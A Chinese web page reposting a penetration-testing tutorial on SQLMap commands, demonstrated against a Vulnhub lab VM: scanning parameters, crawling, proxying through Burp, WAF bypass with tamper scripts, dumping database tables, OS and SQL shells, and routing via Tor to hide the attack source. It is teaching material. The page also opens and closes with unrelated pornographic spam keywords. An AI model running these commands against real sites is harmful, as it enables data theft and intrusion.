色哟哟视频在线观看-色哟哟视频在线-色哟哟欧美15最新在线-色哟哟免费在线观看-国产l精品国产亚洲区在线观看-国产l精品国产亚洲区久久

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

不同的SQLMap命令

我快閉嘴 ? 來源:菜鳥學安全 ? 作者:菜鳥學安全 ? 2022-09-15 09:19 ? 次閱讀

前言

SQLMap是每個滲透測試師的必備工具。這是眾多強大的主流工具之一,尤其是在測試OWASP Top 10中的SQL注入漏洞時。從掃描SQL注入漏洞到獲取數據庫名字、表和列,以及獲得系統訪問權限,其可被用于多種目的。

在本文中,我們將看到不同的SQLMap命令,在對不同場景下的SQL注入進行利用時可能會比較得心應手。

可以從如下鏈接下載SQLMap:

Windows

Linux:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

出于演示目的,我用的是Vulnhub上的這個虛擬機

讓我們一起來看看SQLMap這款工具在GET和POST請求上的基本用法。

GET請求

  • sqlmap -u http://site-to-test.com/test.php?id=1-p id

  • sqlmap -u http://site-to-test.com/test.php?id=1*

    • -u:要掃描的URL

    • -p:要掃描的字段

    • *:要掃描的字段(如果不用-p來指定的話)

POST請求

我們可以在SQLMap掃描中指定POST請求體中的數據。

  • sqlmap -u http://site-to-test.com/admin/index.php–data=”user=admin&password=admin”-p user

  • –data=POST數據

a22cd9d2-348e-11ed-ba43-dac502259ad0.png

a277999a-348e-11ed-ba43-dac502259ad0.jpg

另外一種方式是復制Burp請求到一個文件里,然后同樣傳給SQLMap。

  • sqlmap –r 請求文件的路徑

a2cde67e-348e-11ed-ba43-dac502259ad0.png

a2fe3ffe-348e-11ed-ba43-dac502259ad0.jpg

讓我們再深入地了解一下SQLMap的其他選項。

掃描POST登錄頁面

POST請求的登錄頁面是通過cookie頭來進行身份認證的,也就是GET或者POST請求時,包含在HTTP頭里的。我們必須給SQLMap提供有效的cookie才能對登錄頁面的POST請求進行掃描。

  • sqlmap -u http://192.168.202.163/admin/index.php?id=1–cookie=”cookie value

/admin/index.php?id=1 是一個登錄頁面的POST請求。

a31b936a-348e-11ed-ba43-dac502259ad0.jpg

  • sqlmap -u http://192.168.202.163/admin/index.php?id=1–user-agent=infosec

  • sqlmap -u http://192.168.202.163/admin/index.php?id=1–referer= http://192.168.202.163/admin/index.php

a366887a-348e-11ed-ba43-dac502259ad0.jpg

除此以外,我們還可以通過–random-agent選項來隨機指定user-agent頭。

a384e34c-348e-11ed-ba43-dac502259ad0.jpg

a3eee6f2-348e-11ed-ba43-dac502259ad0.jpg

爬取

爬取(crawl)是一個非常重要的選項,可以讓SQLMap從網站根目錄開始爬取,爬取深度可以在命令中指定。

sqlmap -u http://192.168.202.160/–crawl=1

–crawl: 指定爬取深度。(例如:指定值為2表示讓SQLMap最多爬取兩層目錄)

a44002a8-348e-11ed-ba43-dac502259ad0.jpg

如果想排除爬取范圍內的任意頁面,我們可以通過使用–crawl-exclude參數。當爬取POST型的登錄頁面時,該選項十分有用。

  • sqlmap -u http://192.168.202.163/ –crawl=3 –cookie=”cookie value” –crawl-exclude=”logout”

該命令可以最多爬取三層目錄,并排除任何存在“logout”(注銷)關鍵字的URL。

a47322fa-348e-11ed-ba43-dac502259ad0.jpg

如下圖所示,SQLMap爬取了網站,但是排除了注銷的URL。

a48d85dc-348e-11ed-ba43-dac502259ad0.jpg

去掉–crawl-exclude選項,再運行一次同樣的命令:

a4d5ccac-348e-11ed-ba43-dac502259ad0.jpg

如下圖所示,去掉–crawl-exclude選項后,SQLMap爬取了注銷URL。該URL由于注銷會導致退出當前會話(session),失效的會話會導致無法完成掃描。

a6e83016-348e-11ed-ba43-dac502259ad0.jpg

通過代理使用SQLMap

我們可以指定一個代理來記錄傳遞的請求。如果想通過Burp這樣的代理工具來傳遞請求,打開Burp Suite并配置其監聽本機的8080端口。接著使用如下SQLMap命令:

  • sqlmap -u http://192.168.202.162/cat.php?id=1 -p id–proxy=”http://localhost:8080″

a739a45a-348e-11ed-ba43-dac502259ad0.jpg

a7721588-348e-11ed-ba43-dac502259ad0.jpg

現在想象一下這樣的場景:當SQL注入關鍵字,比如OrderBy和Union,被服務器端加到黑名單了。對于這種場景,我們可以通過駝峰拼寫法來繞過這類限制。用SQLMap將流量轉發到Burp,然后用Burp的“匹配和替換(match and replace)”功能來繞過以上限制。

匹配和替換功能可以在Burp的“Proxy”標簽下的“Options”標簽下找到。

a7b3ad2c-348e-11ed-ba43-dac502259ad0.jpg

這樣就可以檢查請求中是否存在“union”這樣的關鍵字。如果存在,那么將其替換為“UnIoN”。

在某些網站只能通過代理服務器訪問的場景下,同樣可以用下面的命令來指定:

  • sqlmap -u http://192.168.202.162/cat.php?id=1 -p id –proxy=”http://localhost:8080″–proxy-cred=username:password

批(量)處理

批處理(batch)命令適用于非交互的會話。在掃描的時候,SQLMap可能會讓我們提供一些輸入:比如,在用爬取功能的時候,會問用戶是否想掃描指定的URL。當在命令中指定–batch選項時,SQLMap會用一個默認值來處理,而不再問用戶。

a7ffaaec-348e-11ed-ba43-dac502259ad0.jpg

a81a9500-348e-11ed-ba43-dac502259ad0.jpg

表單

存在表單字段的頁面URL(比如登錄頁面)可以通過–form選項來解析該頁面,并引導用戶去測試指定字段。

a837141e-348e-11ed-ba43-dac502259ad0.jpg

現在,可以通過–form和–batch選項一起來高效地測試存在大量表單字段的頁面了。因為這樣可以解析該頁面,并代替用戶自動提供輸入來測試這些表單字段。

如果想要掃描整個網站,可以同時用crawl和form選項。

a88f7dac-348e-11ed-ba43-dac502259ad0.jpg

線程

線程(threads)選項可以讓用戶指定SQLMap發送的并發請求數量,這樣可以減少整體的測試時間。不過別總是保持一個較高的值,因為可能會影響結果的準確性。

a8d63760-348e-11ed-ba43-dac502259ad0.jpg

危險和級別(Risk andlevel)

危險(risk)可以指定SQLMap使用的payload類型。默認情況下值為1,最高可以設置為3。值為3時,就是最大值,包含了一些嚴重的SQL查詢。

級別(level)指定要執行的檢查或payload的數量。值的范圍時從1到5。最大值為5,掃描時會用到大量的payload。

當SQLMap使用默認設置無法掃描注入點時,建議增加risk和level的值。(譯者注:此舉存在風險【risk】)

詳細信息

假如我們想看看SQLMap發送的payload,可以用詳細信息(verbose)參數,其值范圍是從1到6。

a912b546-348e-11ed-ba43-dac502259ad0.png

a93955ca-348e-11ed-ba43-dac502259ad0.jpg

數據庫枚舉

眾所周知,SQLMap主要用于對SQL注入的利用,一起來看看這些通過SQL注入漏洞來枚舉數據庫的命令。

1. –dbs: 該選項用于枚舉數據庫。

a96e0e50-348e-11ed-ba43-dac502259ad0.jpg

a9a57142-348e-11ed-ba43-dac502259ad0.jpg

2. 現在得到了數據庫名。要獲得“photoblog”數據庫的表,可以執行如下命令:

a9e315d8-348e-11ed-ba43-dac502259ad0.jpg

aa0b1fb0-348e-11ed-ba43-dac502259ad0.jpg

3. 要獲得“users”表中的字段細節,可以執行如下命令:

aa2e280c-348e-11ed-ba43-dac502259ad0.jpg

aa4e0a64-348e-11ed-ba43-dac502259ad0.jpg

4. 要轉儲(dump)“users”這張表中的數據,可以用–dump命令:

aab7297c-348e-11ed-ba43-dac502259ad0.jpg

ab06501a-348e-11ed-ba43-dac502259ad0.jpg

5. 查看當前數據庫用戶:

ab8ce7ec-348e-11ed-ba43-dac502259ad0.jpg

abb5881e-348e-11ed-ba43-dac502259ad0.jpg

6. 查看當前數據庫名:

abf68b70-348e-11ed-ba43-dac502259ad0.jpg

ac13ccee-348e-11ed-ba43-dac502259ad0.jpg

7. 查看權限(privileges)、角色(roles),并查看當前數據庫用戶是否是數據庫管理員:

ac3b4030-348e-11ed-ba43-dac502259ad0.jpg

ac58dab4-348e-11ed-ba43-dac502259ad0.jpg

用tamper腳本繞過WAF

很多時候,我們會遇到網站被WAF(Web Application Firewall)保護的場景,我們可以用下面的命令來檢查目標網站是否被WAF保護:

  • –identify-waf (譯者注:新版本中已移除)

識別出WAF后,我們就可以用tamper腳本來進行繞過。tamper腳本可以修改請求來繞過WAF檢測。這些腳本可以在/usr/share/sqlmap/tmper/ 目錄下找到。

ac79dfd4-348e-11ed-ba43-dac502259ad0.jpg

ac98ad7e-348e-11ed-ba43-dac502259ad0.jpg

執行系統命令

如果當前數據庫用戶擁有DBA權限,我們就可以使用如下選項來執行操作系統級別的命令:

  • 對于Linux目標服務器:

  • sqlmap -u http://192.168.202.162/cat.php?id=1–os-shell

  • 對于Windows目標服務器:

  • sqlmap -u http://192.168.202.162/cat.php?id=1–os-cmd cmd命令

執行SQL查詢

我們還可以用下面的命令在數據庫中執行SQL語句:

  • sqlmap -u 192.168.202.164/cat.php?id=2–sql-shell

acc4bfb8-348e-11ed-ba43-dac502259ad0.png

aced9762-348e-11ed-ba43-dac502259ad0.jpg

其他選項

一些其他選項如下:

1. 掃描一些被類似Basic、NTLM和Digest這樣的HTTP身份認證保護的頁面:

  • sqlmap -u http://example.com/admin.aspx –auth-type Basic –auth-cred “admin:admin”

2. 掃描被基于密鑰認證保護的頁面:

  • sqlmap -u http://example.com/admin.aspx–auth-file=PEM證書或私鑰文件路徑

3. 隨機化發起攻擊的IP地址(在比如WAF檢測,或者為了增加被溯源的難度,隱藏攻擊來源等場景下很有用)。

使用默認的Tor(洋蔥路由)匿名網絡:

  • sqlmap -u http://example.com/admin.aspx–tor

指定Tor的端口:

  • sqlmap -u http://example.com/admin.aspx–tor-port=tor代理端口

4. 如果需要在每次HTTP請求之間延時:

  • sqlmap -u http://example.com/admin.aspx–delay=1#延時1秒

5. 如果頁面被CSRF token保護,同樣可以用下面的命令:

  • sqlmap -u http://example.com/admin.aspx–csrf-token=csrf token

6. 在二階注入中,SQL注入的payload會被存儲在目標網站的數據庫中,之后在訪問其他頁面的時候被執行。我們指定一個SQLMap用來請求的已被注入的URL。然后讓SQLMap用如下命令來注入:

  • sqlmap -r /root/Desktop/Burp.txt–second-order“http://target/vulnerbalepage.php”

Burp.txt是包含將要用于測試的文件,其中包含注入點。

  • –second-order “URL” 指定的是每次注入后SQLMap去訪問的URL。

總結

在檢測和利用SQL注入漏洞方面,SQLMap是一個不錯的工具。其支持如此多的選項,開關以及可以創建并使用自定義腳本,讓它從眾多檢測SQL注入漏洞的開源工具中脫穎而出。

審核編輯:湯梓紅

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • Linux
    +關注

    關注

    87

    文章

    11320

    瀏覽量

    209845
  • SQL
    SQL
    +關注

    關注

    1

    文章

    768

    瀏覽量

    44175
  • 命令
    +關注

    關注

    5

    文章

    688

    瀏覽量

    22056

原文標題:一些重要的SQLMap命令

文章出處:【微信號:菜鳥學安全,微信公眾號:菜鳥學安全】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    Linux find命令詳解

    find 命令是我們日常工作中比較常用的Linux命令。全面的掌握這個命令可以使很多操作達到事半功倍的效果。如果對find命令有以下這些疑惑,本文都能幫你解決。
    發表于 11-30 10:11 ?1597次閱讀

    sqlmap的安裝與使用

    44sqlmap的安裝與使用
    發表于 04-20 10:10

    cad命令快捷鍵_cad命令大全

    以下文章為CAD命令大全,全文分為二個部份,第一部份是總的CAD命令,第二部份是CAD2007命令大全。 一、cad命令大全 cad命令-材
    發表于 10-18 17:34 ?2.1w次閱讀

    linnux命令參考卡片

    linnux命令參考卡片,常用的幾種命令解釋。
    發表于 12-14 15:52 ?0次下載

    dos是什么意思_dos命令是什么?

    dos命令就是機器語言,通過輸入對應的dos命令,讓電腦運行相關操作。DOS命令,是DOS操作系統的命令,是一種面向磁盤的操作命令,主要包括
    發表于 01-17 14:45 ?2.1w次閱讀
    dos是什么意思_dos<b class='flag-5'>命令</b>是什么?

    linux的Shell命令和相關的命令

    如果后臺中有多個命令,可以用 fg %jobnumber將選中的命令調出,%jobnumber是通過jobs命令查到的后臺正在執行的命令的序號(不是pid)
    的頭像 發表于 10-03 13:14 ?2502次閱讀

    linux有哪些常用的命令

     Linux的命令非常之多,分為內部命令和外部命令
    發表于 02-27 08:00 ?4次下載
    linux有哪些常用的<b class='flag-5'>命令</b>

    用于刪除的命令:groupdel和groupadd命令

    二、groupdel 1.命令簡介 groupdel(group delete)命令是系統管理員命令,用于刪除一個組。 groupdel 命令用于刪除指定的工作組,本
    的頭像 發表于 01-11 10:44 ?2805次閱讀

    Shell內建命令:trap命令

    1.命令簡介 trap 命令是 Shell 內建命令,用于指定在接收到信號后將要采取的動作。常見的用途是在腳本程序被中斷時完成清理工作。 2.命令格式 trap ?[-lp]?[ARG
    的頭像 發表于 02-09 18:19 ?6077次閱讀
    Shell內建<b class='flag-5'>命令</b>:trap<b class='flag-5'>命令</b>

    如何使用Linux xargs命令

    `xargs`命令允許您從標準輸入或者文件生成命令的參數并命令。通常`xargs`命令通過管道與其他命令組合使用。
    的頭像 發表于 12-02 17:42 ?2121次閱讀

    如何使用sudo命令以及選項

    sudo命令允許您以其他用戶身份運行命令與程序,默認是root用戶。如果您是個命令行用戶,那么sudo是您將經常使用的命令之一。
    的頭像 發表于 12-09 17:47 ?5124次閱讀

    Sqlmap簡介與使用

    白晝安全 一、Sqlmap簡介與使用 當我們明白sql注入的原理,滲透過程似乎很簡單。但事實上,在實際的滲透當中,漏洞注入并非僅僅只是通過簡單的一兩次嘗試就能夠得到測試人員想要的答案。很多時候,它
    的頭像 發表于 01-14 11:24 ?930次閱讀

    淺析Linux精致的命令

    這只是一小部分常用的Linux命令,Linux有很多命令可以使用。建議通過man命令來查看命令的使用方法,例如:man cd
    的頭像 發表于 04-24 16:28 ?1562次閱讀

    shell命令和linux命令一樣嗎

    Shell命令和Linux命令并不完全一樣。 首先,Shell是一種命令行解釋器,它是用來解釋和執行用戶輸入的命令的。Shell既是一種命令
    的頭像 發表于 11-08 10:51 ?2908次閱讀

    linux重啟命令有哪些

    Linux是一種自由和開放源代碼的操作系統,被廣泛應用于服務器和嵌入式設備。在Linux中,有多種命令用于重啟系統。在本文中,我們將詳細介紹常用的Linux重啟命令并解釋每個命令的用途
    的頭像 發表于 11-17 09:49 ?2056次閱讀
    主站蜘蛛池模板: 无码一区国产欧美在线资源| 99无人区码一码二码三| 乡村教师电影版| 一本之道高清在线观看免费| 99国产福利| 国产成人亚洲综合无| 精品国产在线国语视频| 欧美 亚洲 中文字幕 高清| 我的美女奴隶| 6 10young俄罗斯| 国产精品一区第二页| 狼好色有你好看| 少妇连续高潮抽搐痉挛昏厥| 伊人影院网| 国产成+人+综合+亚洲不卡| 久久久久国产精品美女毛片| 色色噜一噜| 34g污奶绵uk甩奶| 国产毛多水多高潮高清| 女人被弄到高潮叫床免| 亚洲精品视频区| 成3d漫二区三区四区| 久久久黄色片| 乡土女性网动态图解| 99久久国产露脸精品竹菊传煤| 国产手机在线亚洲精品观看| 欧美极限变态扩张video| 亚洲色欲国产免费视频| 大学生高潮无套内谢视频| 老师你狠狂| 亚洲国产在线精品国| 成年妇女免费播放| 麻豆XXXX乱女少妇精品| 亚洲国产av| 纯肉腐文高H总受男男| 绿巨人www在线观看| 亚洲春色AV无码专区456| 岛国片在线免费观看| 免费国产成人| 妖精视频免费看| 国产色婷婷亚洲99精品|